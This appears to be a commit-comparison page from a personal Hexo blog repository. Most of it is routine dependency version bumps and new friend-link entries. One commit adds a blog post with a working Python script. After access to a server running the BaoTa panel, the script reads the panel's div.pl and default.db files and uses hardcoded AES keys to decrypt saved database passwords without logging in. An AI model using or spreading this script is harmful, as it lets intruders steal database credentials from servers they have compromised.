Compare commits
10 Commits
b1ca3b018e
...
73cf9a1964
Author | SHA1 | Date |
---|---|---|
dependabot[bot] | 73cf9a1964 | |
簞純 | a55456f060 | |
簞純 | 04adbc3672 | |
簞純 | ef7491a097 | |
簞純 | d92489980c | |
簞純 | 0946cb1324 | |
簞純 | 628a58ce6c | |
簞純 | d871a413fd | |
簞純 | 665d193158 | |
dependabot[bot] | 8eeb72010a |
|
@ -15,7 +15,7 @@
|
|||
"hexo-generator-index": "^3.0.0",
|
||||
"hexo-generator-tag": "^2.0.0",
|
||||
"hexo-renderer-ejs": "^2.0.0",
|
||||
"hexo-renderer-marked": "^6.0.0",
|
||||
"hexo-renderer-marked": "^6.1.1",
|
||||
"hexo-renderer-pug": "^3.0.0",
|
||||
"hexo-renderer-stylus": "^2.0.0",
|
||||
"hexo-server": "^3.0.0",
|
||||
|
@ -999,9 +999,9 @@
|
|||
}
|
||||
},
|
||||
"node_modules/dompurify": {
|
||||
"version": "2.4.1",
|
||||
"resolved": "https://registry.npmjs.org/dompurify/-/dompurify-2.4.1.tgz",
|
||||
"integrity": "sha512-ewwFzHzrrneRjxzmK6oVz/rZn9VWspGFRDb4/rRtIsM1n36t9AKma/ye8syCpcw+XJ25kOK/hOG7t1j2I2yBqA=="
|
||||
"version": "3.0.5",
|
||||
"resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.0.5.tgz",
|
||||
"integrity": "sha512-F9e6wPGtY+8KNMRAVfxeCOHU0/NPWMSENNq4pQctuXRqqdEPW7q3CrLbR5Nse044WwacyjHGOMlvNsBe1y6z9A=="
|
||||
},
|
||||
"node_modules/domutils": {
|
||||
"version": "2.8.0",
|
||||
|
@ -1738,19 +1738,106 @@
|
|||
}
|
||||
},
|
||||
"node_modules/hexo-renderer-marked": {
|
||||
"version": "6.0.0",
|
||||
"resolved": "https://registry.npmjs.org/hexo-renderer-marked/-/hexo-renderer-marked-6.0.0.tgz",
|
||||
"integrity": "sha512-/B/ud8q9pNldbipuv6cPyqL+fir973+blV79n6j59M3S8LRz/4hLXwd0TA4RHxcHVrgPakeWUtiH3UWo6B6Pag==",
|
||||
"version": "6.1.1",
|
||||
"resolved": "https://registry.npmjs.org/hexo-renderer-marked/-/hexo-renderer-marked-6.1.1.tgz",
|
||||
"integrity": "sha512-vllmRFwl9A1NP/llQW2TbDnyvqaQKgktxXw7c+tK7XVQJmfIUnl32dr8M4jRYqYe5m9972eYm09kBXV8rBtA/A==",
|
||||
"dependencies": {
|
||||
"dompurify": "^2.4.0",
|
||||
"hexo-util": "^2.7.0",
|
||||
"dompurify": "^3.0.3",
|
||||
"hexo-util": "^3.1.0",
|
||||
"jsdom": "^20.0.1",
|
||||
"marked": "^4.1.1"
|
||||
"marked": "^4.3.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=14"
|
||||
}
|
||||
},
|
||||
"node_modules/hexo-renderer-marked/node_modules/dom-serializer": {
|
||||
"version": "2.0.0",
|
||||
"resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz",
|
||||
"integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==",
|
||||
"dependencies": {
|
||||
"domelementtype": "^2.3.0",
|
||||
"domhandler": "^5.0.2",
|
||||
"entities": "^4.2.0"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/cheeriojs/dom-serializer?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/hexo-renderer-marked/node_modules/domhandler": {
|
||||
"version": "5.0.3",
|
||||
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz",
|
||||
"integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==",
|
||||
"dependencies": {
|
||||
"domelementtype": "^2.3.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">= 4"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/fb55/domhandler?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/hexo-renderer-marked/node_modules/domutils": {
|
||||
"version": "3.1.0",
|
||||
"resolved": "https://registry.npmjs.org/domutils/-/domutils-3.1.0.tgz",
|
||||
"integrity": "sha512-H78uMmQtI2AhgDJjWeQmHwJJ2bLPD3GMmO7Zja/ZZh84wkm+4ut+IUnUdRa8uCGX88DiVx1j6FRe1XfxEgjEZA==",
|
||||
"dependencies": {
|
||||
"dom-serializer": "^2.0.0",
|
||||
"domelementtype": "^2.3.0",
|
||||
"domhandler": "^5.0.3"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/fb55/domutils?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/hexo-renderer-marked/node_modules/entities": {
|
||||
"version": "4.5.0",
|
||||
"resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz",
|
||||
"integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==",
|
||||
"engines": {
|
||||
"node": ">=0.12"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/fb55/entities?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/hexo-renderer-marked/node_modules/hexo-util": {
|
||||
"version": "3.1.0",
|
||||
"resolved": "https://registry.npmjs.org/hexo-util/-/hexo-util-3.1.0.tgz",
|
||||
"integrity": "sha512-LmztAhkJHQ59VHqz6AnvwEKiNA0pCBBI0qW08cCzjhnpGoqZ8tlGDwElzy7oTxCvMChkiqg5V8VflhdI8tHsGg==",
|
||||
"hasInstallScript": true,
|
||||
"dependencies": {
|
||||
"camel-case": "^4.1.2",
|
||||
"cross-spawn": "^7.0.3",
|
||||
"deepmerge": "^4.2.2",
|
||||
"highlight.js": "^11.6.0",
|
||||
"htmlparser2": "^9.0.0",
|
||||
"prismjs": "^1.29.0",
|
||||
"strip-indent": "^3.0.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=14"
|
||||
}
|
||||
},
|
||||
"node_modules/hexo-renderer-marked/node_modules/htmlparser2": {
|
||||
"version": "9.0.0",
|
||||
"resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-9.0.0.tgz",
|
||||
"integrity": "sha512-uxbSI98wmFT/G4P2zXx4OVx04qWUmyFPrD2/CNepa2Zo3GPNaCaaxElDgwUrwYWkK1nr9fft0Ya8dws8coDLLQ==",
|
||||
"funding": [
|
||||
"https://github.com/fb55/htmlparser2?sponsor=1",
|
||||
{
|
||||
"type": "github",
|
||||
"url": "https://github.com/sponsors/fb55"
|
||||
}
|
||||
],
|
||||
"dependencies": {
|
||||
"domelementtype": "^2.3.0",
|
||||
"domhandler": "^5.0.3",
|
||||
"domutils": "^3.1.0",
|
||||
"entities": "^4.5.0"
|
||||
}
|
||||
},
|
||||
"node_modules/hexo-renderer-pug": {
|
||||
"version": "3.0.0",
|
||||
"resolved": "https://registry.npmjs.org/hexo-renderer-pug/-/hexo-renderer-pug-3.0.0.tgz",
|
||||
|
@ -2374,9 +2461,9 @@
|
|||
}
|
||||
},
|
||||
"node_modules/marked": {
|
||||
"version": "4.2.2",
|
||||
"resolved": "https://registry.npmjs.org/marked/-/marked-4.2.2.tgz",
|
||||
"integrity": "sha512-JjBTFTAvuTgANXx82a5vzK9JLSMoV6V3LBVn4Uhdso6t7vXrGx7g1Cd2r6NYSsxrYbQGFCMqBDhFHyK5q2UvcQ==",
|
||||
"version": "4.3.0",
|
||||
"resolved": "https://registry.npmjs.org/marked/-/marked-4.3.0.tgz",
|
||||
"integrity": "sha512-PRsaiG84bK+AMvxziE/lCFss8juXjNaWzVbN5tXAm4XjeaS9NAHhop+PjQxz2A9h8Q4M/xGmzP8vqNwy6JeK0A==",
|
||||
"bin": {
|
||||
"marked": "bin/marked.js"
|
||||
},
|
||||
|
@ -4779,9 +4866,9 @@
|
|||
}
|
||||
},
|
||||
"dompurify": {
|
||||
"version": "2.4.1",
|
||||
"resolved": "https://registry.npmjs.org/dompurify/-/dompurify-2.4.1.tgz",
|
||||
"integrity": "sha512-ewwFzHzrrneRjxzmK6oVz/rZn9VWspGFRDb4/rRtIsM1n36t9AKma/ye8syCpcw+XJ25kOK/hOG7t1j2I2yBqA=="
|
||||
"version": "3.0.5",
|
||||
"resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.0.5.tgz",
|
||||
"integrity": "sha512-F9e6wPGtY+8KNMRAVfxeCOHU0/NPWMSENNq4pQctuXRqqdEPW7q3CrLbR5Nse044WwacyjHGOMlvNsBe1y6z9A=="
|
||||
},
|
||||
"domutils": {
|
||||
"version": "2.8.0",
|
||||
|
@ -5306,14 +5393,74 @@
|
|||
}
|
||||
},
|
||||
"hexo-renderer-marked": {
|
||||
"version": "6.0.0",
|
||||
"resolved": "https://registry.npmjs.org/hexo-renderer-marked/-/hexo-renderer-marked-6.0.0.tgz",
|
||||
"integrity": "sha512-/B/ud8q9pNldbipuv6cPyqL+fir973+blV79n6j59M3S8LRz/4hLXwd0TA4RHxcHVrgPakeWUtiH3UWo6B6Pag==",
|
||||
"version": "6.1.1",
|
||||
"resolved": "https://registry.npmjs.org/hexo-renderer-marked/-/hexo-renderer-marked-6.1.1.tgz",
|
||||
"integrity": "sha512-vllmRFwl9A1NP/llQW2TbDnyvqaQKgktxXw7c+tK7XVQJmfIUnl32dr8M4jRYqYe5m9972eYm09kBXV8rBtA/A==",
|
||||
"requires": {
|
||||
"dompurify": "^2.4.0",
|
||||
"hexo-util": "^2.7.0",
|
||||
"dompurify": "^3.0.3",
|
||||
"hexo-util": "^3.1.0",
|
||||
"jsdom": "^20.0.1",
|
||||
"marked": "^4.1.1"
|
||||
"marked": "^4.3.0"
|
||||
},
|
||||
"dependencies": {
|
||||
"dom-serializer": {
|
||||
"version": "2.0.0",
|
||||
"resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz",
|
||||
"integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==",
|
||||
"requires": {
|
||||
"domelementtype": "^2.3.0",
|
||||
"domhandler": "^5.0.2",
|
||||
"entities": "^4.2.0"
|
||||
}
|
||||
},
|
||||
"domhandler": {
|
||||
"version": "5.0.3",
|
||||
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz",
|
||||
"integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==",
|
||||
"requires": {
|
||||
"domelementtype": "^2.3.0"
|
||||
}
|
||||
},
|
||||
"domutils": {
|
||||
"version": "3.1.0",
|
||||
"resolved": "https://registry.npmjs.org/domutils/-/domutils-3.1.0.tgz",
|
||||
"integrity": "sha512-H78uMmQtI2AhgDJjWeQmHwJJ2bLPD3GMmO7Zja/ZZh84wkm+4ut+IUnUdRa8uCGX88DiVx1j6FRe1XfxEgjEZA==",
|
||||
"requires": {
|
||||
"dom-serializer": "^2.0.0",
|
||||
"domelementtype": "^2.3.0",
|
||||
"domhandler": "^5.0.3"
|
||||
}
|
||||
},
|
||||
"entities": {
|
||||
"version": "4.5.0",
|
||||
"resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz",
|
||||
"integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw=="
|
||||
},
|
||||
"hexo-util": {
|
||||
"version": "3.1.0",
|
||||
"resolved": "https://registry.npmjs.org/hexo-util/-/hexo-util-3.1.0.tgz",
|
||||
"integrity": "sha512-LmztAhkJHQ59VHqz6AnvwEKiNA0pCBBI0qW08cCzjhnpGoqZ8tlGDwElzy7oTxCvMChkiqg5V8VflhdI8tHsGg==",
|
||||
"requires": {
|
||||
"camel-case": "^4.1.2",
|
||||
"cross-spawn": "^7.0.3",
|
||||
"deepmerge": "^4.2.2",
|
||||
"highlight.js": "^11.6.0",
|
||||
"htmlparser2": "^9.0.0",
|
||||
"prismjs": "^1.29.0",
|
||||
"strip-indent": "^3.0.0"
|
||||
}
|
||||
},
|
||||
"htmlparser2": {
|
||||
"version": "9.0.0",
|
||||
"resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-9.0.0.tgz",
|
||||
"integrity": "sha512-uxbSI98wmFT/G4P2zXx4OVx04qWUmyFPrD2/CNepa2Zo3GPNaCaaxElDgwUrwYWkK1nr9fft0Ya8dws8coDLLQ==",
|
||||
"requires": {
|
||||
"domelementtype": "^2.3.0",
|
||||
"domhandler": "^5.0.3",
|
||||
"domutils": "^3.1.0",
|
||||
"entities": "^4.5.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"hexo-renderer-pug": {
|
||||
|
@ -5784,9 +5931,9 @@
|
|||
}
|
||||
},
|
||||
"marked": {
|
||||
"version": "4.2.2",
|
||||
"resolved": "https://registry.npmjs.org/marked/-/marked-4.2.2.tgz",
|
||||
"integrity": "sha512-JjBTFTAvuTgANXx82a5vzK9JLSMoV6V3LBVn4Uhdso6t7vXrGx7g1Cd2r6NYSsxrYbQGFCMqBDhFHyK5q2UvcQ=="
|
||||
"version": "4.3.0",
|
||||
"resolved": "https://registry.npmjs.org/marked/-/marked-4.3.0.tgz",
|
||||
"integrity": "sha512-PRsaiG84bK+AMvxziE/lCFss8juXjNaWzVbN5tXAm4XjeaS9NAHhop+PjQxz2A9h8Q4M/xGmzP8vqNwy6JeK0A=="
|
||||
},
|
||||
"micro-memoize": {
|
||||
"version": "4.0.11",
|
||||
|
|
|
@ -19,7 +19,7 @@
|
|||
"hexo-generator-index": "^3.0.0",
|
||||
"hexo-generator-tag": "^2.0.0",
|
||||
"hexo-renderer-ejs": "^2.0.0",
|
||||
"hexo-renderer-marked": "^6.0.0",
|
||||
"hexo-renderer-marked": "^6.1.1",
|
||||
"hexo-renderer-pug": "^3.0.0",
|
||||
"hexo-renderer-stylus": "^2.0.0",
|
||||
"hexo-server": "^3.0.0",
|
||||
|
|
|
@ -0,0 +1,67 @@
|
|||
---
|
||||
title: 无需登录,获取宝塔面板保存的数据库密码
|
||||
date: 2023-12-1 15:26:33
|
||||
categories:
|
||||
- Develop
|
||||
tags:
|
||||
- Decrypt
|
||||
---
|
||||
拿到装有宝塔面板的服务器后,在不登录面板的情况下不能直接查看数据库信息
|
||||
|
||||
为了解决这个问题,就制作了一个脚本去进行配置信息的解密
|
||||
|
||||
```python
|
||||
import os
|
||||
|
||||
#使用前pip3 install PyCryptodome
|
||||
|
||||
#下载/www/server/panel/data/div.pl文件,divtext为文件内容
|
||||
divtext = "3UOiALw6JWPa2F02dtN3+ynzUs9oXWcT5llyhivOBaI="
|
||||
|
||||
#下载/www/server/panel/data/default.db,此文件为sqlite数据库文件,打开数据库中databases表,encryptedpass为表中password的值
|
||||
encryptedpass = "BT-0x:tXeUcwJk+Lu5t+BTgGgLAIJbFXYxU84sZA8ak1yjvec="
|
||||
|
||||
def db_decrypt(data):
|
||||
try:
|
||||
key = __get_db_sgin()
|
||||
iv = __get_db_iv()
|
||||
str_arr = data.split('\n')
|
||||
res_str = ''
|
||||
for data in str_arr:
|
||||
if not data: continue
|
||||
res_str += __aes_decrypt(data, key, iv)
|
||||
except:
|
||||
res_str = data
|
||||
return res_str
|
||||
|
||||
def __get_db_sgin():
|
||||
keystr = '3gP7+k_7lSNg3$+Fj!PKW+6$KYgHtw#R'
|
||||
key = ''
|
||||
for i in range(31):
|
||||
if i & 1 == 0:
|
||||
key += keystr[i]
|
||||
return key
|
||||
|
||||
def __get_db_iv():
|
||||
div = __aes_decrypt_module(divtext)
|
||||
return div
|
||||
|
||||
def __aes_decrypt_module(data):
|
||||
key = 'Z2B87NEAS2BkxTrh'
|
||||
iv = 'WwadH66EGWpeeTT6'
|
||||
return __aes_decrypt(data, key, iv)
|
||||
|
||||
def __aes_decrypt(data, key, iv):
|
||||
from Crypto.Cipher import AES
|
||||
import base64
|
||||
encodebytes = base64.decodebytes(data.encode('utf-8'))
|
||||
aes = AES.new(key.encode('utf-8'), AES.MODE_CBC, iv.encode('utf-8'))
|
||||
de_text = aes.decrypt(encodebytes)
|
||||
unpad = lambda s: s[0:-s[-1]]
|
||||
de_text = unpad(de_text)
|
||||
return de_text.decode('utf-8')
|
||||
|
||||
|
||||
temptext = db_decrypt(encryptedpass[6:])
|
||||
print(temptext)
|
||||
```
|
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
@ -1048,13 +1048,36 @@ links:
|
|||
link: "https://www.sy4.top/",
|
||||
avatar: "/img/avatar.png"
|
||||
}
|
||||
|
||||
- {
|
||||
title: "Zy143L",
|
||||
intro: "宁宁's Blog",
|
||||
link: "https://momoe.link/",
|
||||
avatar: "https://momoe.link/img/tx.png"
|
||||
}
|
||||
- {
|
||||
title: "蚊子",
|
||||
intro: "幸福往往是摸得透彻,而堇业的心却常常隐藏",
|
||||
link: "https://mozz.ie/",
|
||||
avatar: "https://mozz.ie/assets/icon-circle.png"
|
||||
}
|
||||
- {
|
||||
title: "Sp4ce",
|
||||
intro: "不傲不畏,不卑不亢,不骄不躁,不气不馁",
|
||||
link: "https://0x20h.com/",
|
||||
avatar: "https://0x20h.com/img/avatar.jpg"
|
||||
}
|
||||
- {
|
||||
title: "MiaoTony",
|
||||
intro: "仰望星空,脚踏实地,未来可期",
|
||||
link: "https://miaotony.xyz/",
|
||||
avatar: "https://miaotony.xyz/medias/avatar.jpg"
|
||||
}
|
||||
- {
|
||||
title: "九世",
|
||||
intro: "九世's Blog",
|
||||
link: "https://jiushill.github.io/",
|
||||
avatar: "https://jiushill.github.io/img/avatar.jpg"
|
||||
}
|
||||
- {
|
||||
title: "To Add",
|
||||
intro: "No Intro",
|
||||
|
|
Loading…
Reference in New Issue